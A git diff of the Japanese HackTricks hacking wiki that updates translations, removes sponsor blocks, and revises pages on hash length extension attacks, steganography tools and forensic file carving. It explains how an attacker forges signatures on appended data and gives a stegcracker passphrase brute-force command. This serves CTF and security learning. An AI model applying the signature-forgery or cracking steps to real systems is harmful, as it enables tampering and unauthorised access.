diff --git a/README.md b/README.md index 52c1f2e2f..c8f028cc4 100644 --- a/README.md +++ b/README.md @@ -5,7 +5,7 @@ _Hacktricksのロゴとモーションデザインは_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_によるものです。_ {% hint style="success" %} -**CTF、実際のアプリ、研究を読むこと、ニュースから学んだ各ハッキングトリック/テクニック/その他を見つけることができるウィキへようこそ。** +**CTF、実際のアプリ、研究の読書、ニュースから学んだ各ハッキングトリック/テクニック/その他を見つけることができるウィキへようこそ。** {% endhint %} 始めるには、このページに従って、**1台以上のマシンをペンテストする際に従うべき典型的な流れ**を見つけてください: @@ -32,7 +32,7 @@ _Hacktricksのロゴとモーションデザインは_ [_@ppiernacho_](https://w
-[**RootedCON**](https://www.rootedcon.com)は、**スペイン**で最も重要なサイバーセキュリティイベントであり、**ヨーロッパ**で最も重要なイベントの1つです。**技術的知識の促進**を使命とし、この会議はあらゆる分野の技術とサイバーセキュリティの専門家のための熱い交流の場です。 +[**RootedCON**](https://www.rootedcon.com)は、**スペイン**で最も重要なサイバーセキュリティイベントであり、**ヨーロッパ**で最も重要なイベントの1つです。**技術知識の促進**を使命とし、この会議はあらゆる分野の技術とサイバーセキュリティの専門家のための熱い交流の場です。 {% embed url="https://www.rootedcon.com/" %} @@ -42,9 +42,9 @@ _Hacktricksのロゴとモーションデザインは_ [_@ppiernacho_](https://w
-**Intigriti**は、**ヨーロッパの#1**の倫理的ハッキングおよび**バグバウンティプラットフォーム**です。 +**Intigriti**は、**ヨーロッパの#1**エシカルハッキングおよび**バグバウンティプラットフォーム**です。 -**バグバウンティのヒント**:**Intigriti**に**サインアップ**してください。ハッカーのためにハッカーによって作られたプレミアム**バグバウンティプラットフォーム**です!今日、[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)で参加し、最大**$100,000**の報酬を得始めましょう! +**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは、**ハッカーによって、ハッカーのために作られたプレミアム**バグバウンティプラットフォームです!今日、[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加し、最大**$100,000**の報酬を得始めましょう! {% embed url="https://go.intigriti.com/hacktricks" %} @@ -55,7 +55,7 @@ _Hacktricksのロゴとモーションデザインは_ [_@ppiernacho_](https://w
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も**高度な**コミュニティツールによって駆動される**ワークフローを簡単に構築および自動化**します。 +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も**高度な**コミュニティツールによって強化された**ワークフローを簡単に構築および自動化**します。 今すぐアクセスを取得: @@ -69,9 +69,9 @@ _Hacktricksのロゴとモーションデザインは_ [_@ppiernacho_](https://w [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう! -* **ハッキングの洞察**:ハッキングのスリルと課題に深く掘り下げたコンテンツに参加 -* **リアルタイムハックニュース**:リアルタイムのニュースと洞察を通じて、急速に変化するハッキングの世界を把握 -* **最新の発表**:新しいバグバウンティの開始や重要なプラットフォームの更新についての情報を得る +* **ハッキングの洞察:** ハッキングのスリルと課題に深く掘り下げたコンテンツに参加 +* **リアルタイムハックニュース:** リアルタイムのニュースと洞察を通じて、急速に進化するハッキングの世界を把握 +* **最新の発表:** 新しいバグバウンティの開始や重要なプラットフォームの更新についての情報を得る **私たちと一緒に** [**Discord**](https://discord.com/invite/N3FrSbmwdy)に参加し、今日からトップハッカーとコラボレーションを始めましょう! @@ -81,64 +81,30 @@ _Hacktricksのロゴとモーションデザインは_ [_@ppiernacho_](https://w
-**脆弱性評価とペネトレーションテストのための即時利用可能なセットアップ**。20以上のツールと機能を使用して、どこからでも完全なペンテストを実行できます。私たちはペンテスターを置き換えるのではなく、彼らに深く掘り下げ、シェルをポップし、楽しむための時間を戻すためにカスタムツール、検出および悪用モジュールを開発しています。 +**脆弱性評価とペネトレーションテストのための即時利用可能なセットアップ**。20以上のツールと機能を使用して、どこからでも完全なペンテストを実行できます。私たちはペンテスターを置き換えるのではなく、彼らがより深く掘り下げ、シェルをポップし、楽しむための時間を取り戻すためにカスタムツール、検出および悪用モジュールを開発しています。 {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} *** -### [SerpApi](https://serpapi.com/) - -
- -SerpApiは、**検索エンジンの結果にアクセスするための迅速で簡単なリアルタイムAPI**を提供します。彼らは検索エンジンをスクレイピングし、プロキシを処理し、キャプチャを解決し、すべてのリッチ構造化データを解析します。 - -SerpApiのプランの1つに加入すると、Google、Bing、Baidu、Yahoo、Yandexなど、さまざまな検索エンジンをスクレイピングするための50以上の異なるAPIにアクセスできます。\ -他のプロバイダーとは異なり、**SerpApiはオーガニック結果だけをスクレイピングするわけではありません**。SerpApiの応答には、常にすべての広告、インライン画像と動画、ナレッジグラフ、検索結果に存在する他の要素や機能が含まれます。 - -現在のSerpApiの顧客には、**Apple、Shopify、GrubHub**が含まれます。\ -詳細については、彼らの[**ブログ**](https://serpapi.com/blog/)を確認するか、[**プレイグラウンド**](https://serpapi.com/playground)で例を試してください。\ -**無料アカウントを作成**するには、[**こちら**](https://serpapi.com/users/sign\_up)をクリックしてください。** - -*** - -### [Try Hard Security Group](https://discord.gg/tryhardsecurity) - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ### [WebSec](https://websec.nl/)
-[**WebSec**](https://websec.nl)は、**アムステルダム**に拠点を置くプロフェッショナルなサイバーセキュリティ会社で、最新のサイバーセキュリティ脅威から**世界中のビジネスを保護する**手助けをし、**攻撃的セキュリティサービス**を提供しています。 +[**WebSec**](https://websec.nl)は、**アムステルダム**に拠点を置くプロフェッショナルなサイバーセキュリティ会社で、最新のサイバーセキュリティ脅威から**世界中のビジネスを保護する**のを助けています。**攻撃的セキュリティサービス**を**現代的**なアプローチで提供しています。 WebSecは**オールインワンのセキュリティ会社**であり、ペンテスト、**セキュリティ**監査、意識向上トレーニング、フィッシングキャンペーン、コードレビュー、エクスプロイト開発、セキュリティ専門家のアウトソーシングなど、すべてを行います。 -WebSecのもう一つの素晴らしい点は、業界平均とは異なり、WebSecは**自分たちのスキルに非常に自信を持っている**ことであり、そのため、**最高の品質の結果を保証します**。彼らのウェブサイトには「**私たちがハッキングできなければ、あなたは支払わない!**」と記載されています。詳細については、彼らの[**ウェブサイト**](https://websec.nl/en/)と[**ブログ**](https://websec.nl/blog/)を見てください! +WebSecのもう一つの素晴らしい点は、業界の平均とは異なり、WebSecは**自分たちのスキルに非常に自信を持っている**ことであり、そのため、**最高の品質の結果を保証します**。彼らのウェブサイトには「**私たちがハッキングできなければ、あなたは支払わない!**」と記載されています。詳細については、彼らの[**ウェブサイト**](https://websec.nl/en/)と[**ブログ**](https://websec.nl/blog/)をチェックしてください! 上記に加えて、WebSecは**HackTricksの熱心なサポーターでもあります。** {% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %} -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**盗難マルウェア**によって**侵害されているかどうかを確認するための**無料の機能を提供します。 - -WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。 - -彼らのウェブサイトを確認し、**無料**でエンジンを試すことができます: - -{% embed url="https://whiteintel.io" %} ## License & Disclaimer -チェックしてください: +確認してください: {% content-ref url="welcome/hacktricks-values-and-faq.md" %} [hacktricks-values-and-faq.md](welcome/hacktricks-values-and-faq.md) @@ -158,7 +124,7 @@ GCPハッキングを学び、実践する: {% endhint %} -#### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**マルウェアによって侵害された**かどうかを確認するための**無料**機能を提供しています。 - -WhiteIntelの主な目的は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃に対抗することです。 - -彼らのウェブサイトを確認し、**無料**でエンジンを試すことができます: - -{% embed url="https://whiteintel.io" %} - -*** ## 攻撃の概要 -サーバーが**データ**に**秘密**を追加してハッシュ化することを**署名**していると想像してください。もしあなたが以下を知っているなら: +サーバーが**データ**に**秘密**を**追加**してからそのデータをハッシュ化して**署名**していると想像してください。もしあなたが知っていることがあれば: * **秘密の長さ**(これは与えられた長さの範囲からもブルートフォース可能です) -* **平文データ** -* **アルゴリズム(この攻撃に対して脆弱である)** +* **クリアテキストデータ** +* **アルゴリズム(そしてそれがこの攻撃に対して脆弱であること)** * **パディングが知られている** -* 通常はデフォルトのものが使用されるため、他の3つの要件が満たされていれば、これもそうです +* 通常はデフォルトのものが使用されるので、他の3つの要件が満たされていれば、これもそうです * パディングは秘密+データの長さによって異なるため、秘密の長さが必要です -その場合、**攻撃者**は**データを追加**し、**以前のデータ + 追加データ**の有効な**署名**を**生成**することが可能です。 +その場合、**攻撃者**は**データを追加**し、**前のデータ + 追加データ**の有効な**署名**を**生成**することが可能です。 ### どうやって? -基本的に、脆弱なアルゴリズムは、最初に**データのブロックをハッシュ化**し、その後、**以前に作成された**ハッシュ(状態)から**次のデータブロックを追加**して**ハッシュ化**します。 +基本的に、脆弱なアルゴリズムは最初に**データのブロックをハッシュ化**し、その後、**以前に作成された**ハッシュ(状態)から**次のデータブロックを追加**して**ハッシュ化**します。 -例えば、秘密が「secret」でデータが「data」の場合、「secretdata」のMD5は6036708eba0d11f6ef52ad44e8b74d5bです。\ -攻撃者が「append」という文字列を追加したい場合、彼は: +次に、秘密が「secret」でデータが「data」の場合、「secretdata」のMD5は6036708eba0d11f6ef52ad44e8b74d5bです。\ +攻撃者が「append」という文字列を追加したい場合、彼は次のことができます: * 64の「A」のMD5を生成する * 以前に初期化されたハッシュの状態を6036708eba0d11f6ef52ad44e8b74d5bに変更する @@ -60,19 +47,9 @@ WhiteIntelの主な目的は、情報を盗むマルウェアによるアカウ ### 参考文献 -この攻撃については、[https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)で詳しく説明されています。 +この攻撃については、[https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)でよく説明されています。 -#### [WhiteIntel](https://whiteintel.io) -
- -[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**マルウェアによって侵害された**かどうかを確認するための**無料**機能を提供しています。 - -WhiteIntelの主な目的は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃に対抗することです。 - -彼らのウェブサイトを確認し、**無料**でエンジンを試すことができます: - -{% embed url="https://whiteintel.io" %} {% hint style="success" %} AWSハッキングを学び、実践する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ diff --git a/crypto-and-stego/stego-tricks.md b/crypto-and-stego/stego-tricks.md index 2490b5a99..2bd0a5d8a 100644 --- a/crypto-and-stego/stego-tricks.md +++ b/crypto-and-stego/stego-tricks.md @@ -1,63 +1,55 @@ # Stego Tricks {% hint style="success" %} -AWSハッキングの学習と練習:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -GCPハッキングの学習と練習: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-HackTricksのサポート +Support HackTricks -* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェック! -* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 -* **ハッキングトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - -## **ファイルからデータを抽出する** +## **ファイルからのデータ抽出** ### **Binwalk** -埋め込まれた隠しファイルやデータを検索するためのツール。`apt`を介してインストールされ、そのソースは[GitHub](https://github.com/ReFirmLabs/binwalk)で入手できます。 +埋め込まれた隠しファイルやデータを探すためのバイナリファイル検索ツールです。`apt`を介してインストールされ、ソースは[GitHub](https://github.com/ReFirmLabs/binwalk)で入手可能です。 ```bash binwalk file # Displays the embedded data binwalk -e file # Extracts the data binwalk --dd ".*" file # Extracts all data ``` -### **最も重要な** +### **Foremost** -ファイルをヘッダーとフッターに基づいて回復し、png画像に便利です。[GitHub](https://github.com/korczis/foremost)でソースを使用して`apt`を介してインストールします。 +ヘッダーとフッターに基づいてファイルを回復し、png画像に便利です。`apt`を介してインストールされ、そのソースは[GitHub](https://github.com/korczis/foremost)にあります。 ```bash foremost -i file # Extracts data ``` ### **Exiftool** -ファイルのメタデータを表示するのに役立ちます。[こちら](https://www.sno.phy.queensu.ca/\~phil/exiftool/)で入手可能です。 +ファイルメタデータを表示するのに役立ちます。利用可能なリンクは[こちら](https://www.sno.phy.queensu.ca/\~phil/exiftool/)です。 ```bash exiftool file # Shows the metadata ``` ### **Exiv2** -Exiftoolに類似し、メタデータを表示します。`apt`を使用してインストール可能で、[GitHub](https://github.com/Exiv2/exiv2)でソースを入手でき、公式ウェブサイトは[こちら](http://www.exiv2.org/)です。 +exiftoolと同様に、メタデータの表示に使用されます。`apt`を介してインストール可能で、[GitHub](https://github.com/Exiv2/exiv2)にソースがあります。また、[公式ウェブサイト](http://www.exiv2.org/)もあります。 ```bash exiv2 file # Shows the metadata ``` ### **ファイル** -取り扱っているファイルの種類を特定します。 +扱っているファイルの種類を特定します。 ### **文字列** -さまざまなエンコーディング設定を使用して、ファイルから読み取れる文字列を抽出します。 +さまざまなエンコーディング設定を使用して、ファイルから読み取り可能な文字列を抽出します。 ```bash strings -n 6 file # Extracts strings with a minimum length of 6 strings -n 6 file | head -n 20 # First 20 strings @@ -69,84 +61,84 @@ strings -e b -n 6 file # 16bit strings (big-endian) strings -e L -n 6 file # 32bit strings (little-endian) strings -e B -n 6 file # 32bit strings (big-endian) ``` -### **比較(cmp)** +### **比較 (cmp)** -オンラインで見つかった元のバージョンと変更されたファイルを比較するのに便利です。 +オンラインで見つかった元のバージョンと修正されたファイルを比較するのに便利です。 ```bash cmp original.jpg stego.jpg -b -l ``` -## **テキスト内の隠しデータの抽出** +## **隠されたデータの抽出** -### **スペース内の隠しデータ** +### **スペース内の隠されたデータ** -見かけ上空白のスペースに不可視文字が情報を隠している可能性があります。このデータを抽出するには、[https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder) を訪れてください。 +見た目には空のスペースに隠された情報があるかもしれません。このデータを抽出するには、[https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder)を訪れてください。 -## **画像からデータの抽出** +## **画像からのデータ抽出** -### **GraphicMagickを使用して画像の詳細を特定する** +### **GraphicMagickを使用した画像詳細の特定** -[GraphicMagick](https://imagemagick.org/script/download.php) は画像ファイルの種類を特定し、潜在的な破損を特定するために使用されます。以下のコマンドを実行して画像を検査します: +[GraphicMagick](https://imagemagick.org/script/download.php)は、画像ファイルの種類を特定し、潜在的な破損を識別するために使用されます。画像を検査するには、以下のコマンドを実行してください: ```bash ./magick identify -verbose stego.jpg ``` -修復を試みるために、損傷した画像にメタデータコメントを追加すると役立つかもしれません: +損傷した画像の修復を試みるために、メタデータコメントを追加することが役立つかもしれません: ```bash ./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg ``` -### **データの隠蔽にSteghideを使用** +### **データ隠蔽のためのSteghide** -Steghideは、`JPEG、BMP、WAV、およびAU`ファイル内にデータを隠すことを容易にし、暗号化されたデータを埋め込んだり抽出したりすることができます。`apt`を使用して簡単にインストールでき、[GitHubでソースコードが利用可能です](https://github.com/StefanoDeVuono/steghide)。 +Steghideは、`JPEG、BMP、WAV、AU`ファイル内にデータを隠すことを容易にし、暗号化されたデータの埋め込みと抽出が可能です。インストールは`apt`を使用して簡単に行え、[ソースコードはGitHubで入手可能です](https://github.com/StefanoDeVuono/steghide)。 **コマンド:** -* `steghide info file`はファイルに隠されたデータが含まれているかどうかを示します。 -* `steghide extract -sf file [--passphrase password]`は隠されたデータを抽出し、パスワードはオプションです。 +* `steghide info file`は、ファイルに隠されたデータが含まれているかどうかを明らかにします。 +* `steghide extract -sf file [--passphrase password]`は、隠されたデータを抽出します。パスワードはオプションです。 -Webベースの抽出を行う場合は、[このウェブサイト](https://futureboy.us/stegano/decinput.html)を訪れてください。 +ウェブベースの抽出については、[このウェブサイト](https://futureboy.us/stegano/decinput.html)を訪れてください。 -**Stegcrackerを使用したブルートフォース攻撃:** +**Stegcrackerによるブルートフォース攻撃:** -* Steghideでパスワードクラッキングを試みるには、[stegcracker](https://github.com/Paradoxis/StegCracker.git)を以下のように使用します: +* Steghideのパスワードクラッキングを試みるには、次のように[stegcracker](https://github.com/Paradoxis/StegCracker.git)を使用します: ```bash stegcracker [] ``` -### **PNG および BMP ファイル用の zsteg** +### **zsteg for PNG and BMP Files** -zsteg は、PNG および BMP ファイル内の隠されたデータを特定するのに特化しています。インストールは `gem install zsteg` を使用し、[GitHub でソースを入手](https://github.com/zed-0xff/zsteg)します。 +zstegはPNGおよびBMPファイル内の隠れたデータを発見することに特化しています。インストールは`gem install zsteg`で行い、[GitHubのソース](https://github.com/zed-0xff/zsteg)があります。 -**コマンド:** +**Commands:** -- `zsteg -a file` はファイルにすべての検出方法を適用します。 -- `zsteg -E file` はデータ抽出用のペイロードを指定します。 +* `zsteg -a file`はファイルに対してすべての検出方法を適用します。 +* `zsteg -E file`はデータ抽出のためのペイロードを指定します。 -### **StegoVeritas および Stegsolve** +### **StegoVeritas and Stegsolve** -**stegoVeritas** はメタデータをチェックし、画像変換を実行し、LSB ブルートフォースなどを適用します。すべてのオプションの完全なリストについては `stegoveritas.py -h` を使用し、すべてのチェックを実行するには `stegoveritas.py stego.jpg` を使用します。 +**stegoVeritas**はメタデータをチェックし、画像変換を行い、LSBブルートフォースなどの機能を適用します。オプションの完全なリストは`stegoveritas.py -h`を使用し、すべてのチェックを実行するには`stegoveritas.py stego.jpg`を使用します。 -**Stegsolve** はさまざまなカラーフィルタを適用して画像内の隠されたテキストやメッセージを表示します。[GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve)で入手できます。 +**Stegsolve**は画像内の隠れたテキストやメッセージを明らかにするためにさまざまなカラーフィルターを適用します。これは[GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve)で入手可能です。 -### **隠されたコンテンツの検出のための FFT** +### **FFT for Hidden Content Detection** -高速フーリエ変換(FFT)技術を使用すると、画像内の隠されたコンテンツを明らかにすることができます。有用なリソースは次のとおりです: +高速フーリエ変換(FFT)技術は画像内の隠されたコンテンツを明らかにすることができます。役立つリソースには以下が含まれます: -- [EPFL Demo](http://bigwww.epfl.ch/demo/ip/demos/FFT/) -- [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/) -- [GitHub 上の FFTStegPic](https://github.com/0xcomposure/FFTStegPic) +* [EPFL Demo](http://bigwww.epfl.ch/demo/ip/demos/FFT/) +* [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/) +* [FFTStegPic on GitHub](https://github.com/0xcomposure/FFTStegPic) -### **オーディオおよび画像ファイル用の Stegpy** +### **Stegpy for Audio and Image Files** -Stegpy は、PNG、BMP、GIF、WebP、WAV などの形式をサポートし、画像およびオーディオファイルに情報を埋め込むことができます。[GitHub](https://github.com/dhsdshdhk/stegpy)で入手できます。 +Stegpyは画像および音声ファイルに情報を埋め込むことを可能にし、PNG、BMP、GIF、WebP、WAVなどのフォーマットをサポートしています。これは[GitHub](https://github.com/dhsdshdhk/stegpy)で入手可能です。 -### **PNG ファイルの解析用 Pngcheck** +### **Pngcheck for PNG File Analysis** -PNG ファイルを解析したり、その信頼性を検証するには: +PNGファイルを分析したり、その真正性を検証するには、次のコマンドを使用します: ```bash apt-get install pngcheck pngcheck stego.png ``` -### **画像解析のための追加ツール** +### **画像分析のための追加ツール** -さらなる探求のために、以下を訪れてみてください: +さらなる探索のために、以下を訪れることを検討してください: * [Magic Eye Solver](http://magiceye.ecksdee.co.uk/) * [Image Error Level Analysis](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/) @@ -154,27 +146,27 @@ pngcheck stego.png * [OpenStego](https://www.openstego.com/) * [DIIT](https://diit.sourceforge.net/) -## **オーディオからデータを抽出する** +## **オーディオからのデータ抽出** -**オーディオステガノグラフィ**は、音声ファイル内に情報を隠すためのユニークな方法を提供します。異なるツールが埋め込みや隠されたコンテンツの取り出しに使用されます。 +**オーディオステガノグラフィ**は、音声ファイル内に情報を隠すユニークな方法を提供します。隠されたコンテンツを埋め込むまたは取得するために、さまざまなツールが利用されます。 -### **Steghide (JPEG、BMP、WAV、AU)** +### **Steghide (JPEG, BMP, WAV, AU)** -Steghideは、JPEG、BMP、WAV、およびAUファイルにデータを隠すために設計された多目的なツールです。詳細な手順については、[stego tricks documentation](stego-tricks.md#steghide)を参照してください。 +Steghideは、JPEG、BMP、WAV、およびAUファイルにデータを隠すために設計された多目的ツールです。詳細な手順は[stego tricks documentation](stego-tricks.md#steghide)に記載されています。 -### **Stegpy (PNG、BMP、GIF、WebP、WAV)** +### **Stegpy (PNG, BMP, GIF, WebP, WAV)** -このツールは、PNG、BMP、GIF、WebP、およびWAVなど、さまざまな形式と互換性があります。詳細については、[Stegpy's section](stego-tricks.md#stegpy-png-bmp-gif-webp-wav)を参照してください。 +このツールは、PNG、BMP、GIF、WebP、およびWAVを含むさまざまなフォーマットに対応しています。詳細については[Stegpy's section](stego-tricks.md#stegpy-png-bmp-gif-webp-wav)を参照してください。 ### **ffmpeg** -ffmpegは、オーディオファイルの整合性を評価し、詳細な情報を強調し、不一致を特定するために重要です。 +ffmpegは、オーディオファイルの整合性を評価するために重要であり、詳細な情報を強調し、いかなる不一致を特定します。 ```bash ffmpeg -v info -i stego.mp3 -f null - ``` ### **WavSteg (WAV)** -WavStegは、最も重要でないビット戦略を使用してWAVファイル内にデータを隠したり抽出したりするのに優れています。[GitHub](https://github.com/ragibson/Steganography#WavSteg)で利用可能です。コマンドには次のものがあります: +WavStegは、最下位ビット戦略を使用してWAVファイル内にデータを隠蔽し、抽出するのに優れています。これは[GitHub](https://github.com/ragibson/Steganography#WavSteg)で入手可能です。コマンドには次のものが含まれます: ```bash python3 WavSteg.py -r -b 1 -s soundfile -o outputfile @@ -182,51 +174,47 @@ python3 WavSteg.py -r -b 2 -s soundfile -o outputfile ``` ### **Deepsound** -DeepsoundはAES-256を使用して音声ファイル内の情報の暗号化と検出を可能にします。[公式ページ](http://jpinsoft.net/deepsound/download.aspx)からダウンロードできます。 +Deepsoundは、AES-256を使用して音声ファイル内の情報を暗号化および検出することを可能にします。 [公式ページ](http://jpinsoft.net/deepsound/download.aspx)からダウンロードできます。 ### **Sonic Visualizer** -オーディオファイルの視覚的および分析的検査には貴重なツールであるSonic Visualizerを使用すると、他の手段では検出できない隠された要素を明らかにすることができます。詳細は[公式ウェブサイト](https://www.sonicvisualiser.org/)をご覧ください。 +音声ファイルの視覚的および分析的検査において非常に貴重なツールであるSonic Visualizerは、他の手段では検出できない隠れた要素を明らかにすることができます。詳細は[公式ウェブサイト](https://www.sonicvisualiser.org/)をご覧ください。 ### **DTMF Tones - Dial Tones** -オーディオファイル内のDTMFトーンを検出することは、[このDTMF検出器](https://unframework.github.io/dtmf-detect/)や[DialABC](http://dialabc.com/sound/detect/index.html)などのオンラインツールを使用して達成できます。 +音声ファイル内のDTMFトーンを検出するには、[このDTMF検出器](https://unframework.github.io/dtmf-detect/)や[DialABC](http://dialabc.com/sound/detect/index.html)などのオンラインツールを使用できます。 -## **その他のテクニック** +## **Other Techniques** ### **Binary Length SQRT - QR Code** -平方数になるバイナリデータはQRコードを表す可能性があります。次のスニペットを使用して確認してください: +整数に平方するバイナリデータはQRコードを表す可能性があります。このスニペットを使用して確認してください: ```python import math math.sqrt(2500) #50 ``` +バイナリから画像への変換については、[dcode](https://www.dcode.fr/binary-image)を確認してください。QRコードを読み取るには、[このオンラインバーコードリーダー](https://online-barcode-reader.inliteresearch.com/)を使用してください。 + ### **点字翻訳** -点字を翻訳するには、[Branah点字翻訳](https://www.branah.com/braille-translator)が優れたリソースです。 +点字の翻訳には、[Branah Braille Translator](https://www.branah.com/braille-translator)が優れたリソースです。 ## **参考文献** * [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/) * [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit) -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - {% hint style="success" %} -AWSハッキングの学習と実践:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -GCPハッキングの学習と実践:[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +AWSハッキングを学び、練習する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCPハッキングを学び、練習する:[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-HackTricksのサポート +HackTricksをサポートする -* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェック! -* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローしてください。 -* ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 +* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** +* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
{% endhint %} diff --git a/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md b/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md index 4b6893f87..8d4b06c74 100644 --- a/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md +++ b/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md @@ -9,23 +9,15 @@ GCPハッキングを学び、実践する:
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ## カービングと回復ツール -[https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)にもっと多くのツールがあります。 +[https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)にもっと多くのツールがあります ### Autopsy @@ -44,7 +36,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file ``` ### Foremost -もう一つの一般的なツールは**foremost**です。foremostの設定ファイルは`/etc/foremost.conf`にあります。特定のファイルを検索したい場合は、それらのコメントを解除してください。何もコメントを解除しない場合、foremostはデフォルトで設定されたファイルタイプを検索します。 +もう一つの一般的なツールは**foremost**です。foremostの設定ファイルは`/etc/foremost.conf`にあります。特定のファイルを検索したい場合は、それらのコメントを外してください。何もコメントを外さなければ、foremostはデフォルトで設定されたファイルタイプを検索します。 ```bash sudo apt-get install foremost foremost -v -i file.img -o output @@ -59,13 +51,13 @@ scalpel file.img -o output ``` ### Bulk Extractor -このツールはkaliに含まれていますが、こちらでも見つけることができます: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor) +このツールはkaliに含まれていますが、ここでも見つけることができます: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor) このツールはイメージをスキャンし、その中にある**pcaps**、**ネットワーク情報(URL、ドメイン、IP、MAC、メール)**、およびその他の**ファイル**を**抽出**します。あなたがする必要があるのは: ``` bulk_extractor memory.img -o out_folder ``` 